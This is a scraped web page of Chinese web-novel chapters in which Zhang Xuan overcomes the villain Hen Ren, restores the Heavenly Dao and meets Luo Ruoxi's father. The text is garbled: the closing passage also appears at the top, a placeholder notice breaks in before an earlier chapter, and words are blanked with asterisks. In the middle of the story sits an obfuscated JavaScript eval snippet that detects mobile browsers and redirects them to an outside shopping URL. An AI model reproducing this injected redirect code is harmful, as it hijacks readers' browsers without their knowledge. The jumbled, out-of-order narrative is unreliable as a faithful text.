“你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第四百零八章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830321|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 